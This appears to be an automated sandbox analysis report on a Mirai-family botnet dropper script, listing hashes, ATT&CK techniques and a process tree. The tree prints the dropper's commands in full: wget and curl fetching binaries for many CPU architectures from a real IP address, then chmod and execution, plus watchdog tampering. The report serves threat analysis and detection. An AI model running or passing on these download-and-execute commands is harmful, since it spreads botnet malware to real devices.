mirai | 1b6a6ceb23e46cf0a36bb0f1fc89472f3ec42ea1b23ca15ffe49c39f8d9ea0f4

Analysis

max time kernel
149s
max time network
140s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/12/2024, 00:13

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General

Target

ohshit.sh
Size

3KB
MD5

88738a95929e9c44969bcffde3c50f4b
SHA1

5b9581fadd1ea4b8621d5b0adb559a631b1226ee
SHA256

1b6a6ceb23e46cf0a36bb0f1fc89472f3ec42ea1b23ca15ffe49c39f8d9ea0f4
SHA512

df40b12ad937df1d3a36673761fe27b5c2072f1f871f37610e76987411c292f75b70035258ebf6f912d4f856ad014c0d67d461e87e71b939e127179c5bd985f9

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
747	chmod
880	chmod
886	chmod
892	chmod
897	chmod
780	chmod
803	chmod
851	chmod
874	chmod
903	chmod
741	chmod
859	chmod
865	chmod
840	chmod
846	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Abyss	742	Abyss
/tmp/Abyss	748	Abyss
/tmp/Abyss	781	Abyss
/tmp/Abyss	804	Abyss
/tmp/Abyss	841	Abyss
/tmp/Abyss	847	Abyss
/tmp/Abyss	852	Abyss
/tmp/Abyss	860	Abyss
/tmp/Abyss	866	Abyss
/tmp/Abyss	875	Abyss
/tmp/Abyss	881	Abyss
/tmp/Abyss	887	Abyss
/tmp/Abyss	893	Abyss
/tmp/Abyss	898	Abyss
/tmp/Abyss	904	Abyss

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Abyss
File opened for modification	/dev/misc/watchdog	Abyss

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Abyss
File opened for modification	/bin/watchdog	Abyss

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-6.dat	upx
behavioral4/files/fstream-7.dat	upx
behavioral4/files/fstream-8.dat	upx

Reads runtime system information 34 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/885/cmdline	Abyss
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/685/cmdline	Abyss
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/674/cmdline	Abyss
File opened for reading	/proc/878/cmdline	Abyss
File opened for reading	/proc/470/cmdline	Abyss
File opened for reading	/proc/677/cmdline	Abyss
File opened for reading	/proc/708/cmdline	Abyss
File opened for reading	/proc/883/cmdline	Abyss
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/855/cmdline	Abyss
File opened for reading	/proc/901/cmdline	Abyss
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/707/cmdline	Abyss
File opened for reading	/proc/679/cmdline	Abyss
File opened for reading	/proc/684/cmdline	Abyss
File opened for reading	/proc/712/cmdline	Abyss
File opened for reading	/proc/869/cmdline	Abyss
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/895/cmdline	Abyss
File opened for reading	/proc/706/cmdline	Abyss
File opened for reading	/proc/709/cmdline	Abyss
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
839	cat
843	wget
844	curl
845	cat
807	wget
808	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Abyss	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:709
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:719
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:740
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-PF8QF5 ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:742
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:746
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-PF8QF5 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:748
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  PID:778
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-PF8QF5 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:781
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:784
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  PID:802
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-PF8QF5 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:804
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:807
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:808
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  PID:839
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-PF8QF5 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:841
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:843
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:844
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:845
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-PF8QF5 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:847
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:848
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  PID:850
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-PF8QF5 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:852
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:856
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  PID:858
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-PF8QF5 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:860
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:862
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  PID:864
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-PF8QF5 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:866
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:868
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  PID:873
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:875
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:877
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  PID:879
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:881
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:883
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  PID:885
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:887
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:891
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:893
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:894
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  PID:896
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:898
- /usr/bin/wget
  wget http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:900
- /usr/bin/curl
  curl -O http://207.244.199.132/HideAbyss/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  PID:902
- /bin/chmod
  chmod +x Abyss busybox ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/Abyss
  ./Abyss
  2⤵
  - Executes dropped EXE
  PID:904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Abyss

Filesize
23KB

MD5
7fc3afdda7fbf993f43067a26cafed89

SHA1
4a422cc19b5c6ab0228cc94e3c0268cc54f720e3

SHA256
e68832c656e933eea0904858518a31956bece42fc31b9ee9a8114331265ea93f

SHA512
be1b011eccaa7c2dcac72c1c15805d00b864623f2e6466e48077720afc6601ff762530e0be201e58eb89ac0c479e9a87631bd123eb4d311f6ea7c4e2827c1dc6

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/tmp/Abyss

Filesize
22KB

MD5
fabfa526cad5319365ea6653e6f9ced8

SHA1
136bc476e87c8abd1139876951b2f9d7d5987bac

SHA256
1d527eb33d504aa5f19fc15da542a1e6911bc07d751ab4570ba49b159569681f

SHA512
3aaae3ebc9f2c1e28eda4a8857f051f76666657436a77bbd13e3c2cc60bf2f9f3b5ecca984c84e6f43acc5fd14a0827c16926d55c52f4ca7df764a790cc065a0

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/tmp/Abyss

Filesize
22KB

MD5
e848aed4b617d3fb33d79bce6fbaa4c8

SHA1
d000abf3da046f81749c2c79338c1cdc51ca3831

SHA256
92f53ef0e5773a17e4d42f3ebe2d5a81269a59815ffd2cf7885051a28a7d8565

SHA512
03d449908c04c08039f44db3f0b644b2582a87a64785a78b854f3605a0e640aa1b239891716270c566f9de8897c127fcc1bed8df85c80079070384d9e24623ba

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/tmp/Abyss

Filesize
27KB

MD5
f43afab6ef81a2d16e324d4fe443ce68

SHA1
21fa1cb8e027e3b00dcf6e7eda11108dab8383d6

SHA256
6a27b0ad9aafa3dfe2757bfdbbfbc9f8c3a096167fe8754a82066db12081b395

SHA512
352120f50e0771b84fd205f8d72b921161b2abdade2c4d831cbcaf90b19256ed26f465d3535408e35f210e57fbc8adf78a82c171a45ae2129fc8b5828bc12389

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/tmp/Abyss

Filesize
71KB

MD5
bfc7e472b8b0c8e43bd9afd78025f73b

SHA1
3c0d2a9c138cc4e2af2c5f00560fa95597f74d78

SHA256
6654b606a7c6ccfa8635bd98709957fbd36def5abad3122282864e4bf4e2a095

SHA512
76e4e3de635d92cc4f5c5dd7654a7324ba3440fff42ceec2fb883654f6a1da31f729a809a08a11e67ee82bd1b50eb592f9b6b6e1a59ba2605ded7b6dffd3fd52

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/tmp/busybox

Filesize
857KB

MD5
6ffc46165b5d9726a6607f3ea5305589

SHA1
ab127220f42e816b413dde0d17031e251a7bc98f

SHA256
80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

SHA512
456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

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/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
105KB

MD5
39984021963a3aa917b249460dd4ede1

SHA1
d2637e855e891be1bd4c577682c2750352f21d8f

SHA256
418c17efde9207470ca3fc2938947846419f95abf0c48e811a9c433bd93ef95d

SHA512
4580ac52c4844114e59a6680fb1ca8928cfa0593fc069681245a5cc97efc84bba373a3e0d8eaf280adb33e7bdd1c61b99eedc0f66dccbfa64b17051bf75b1263

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads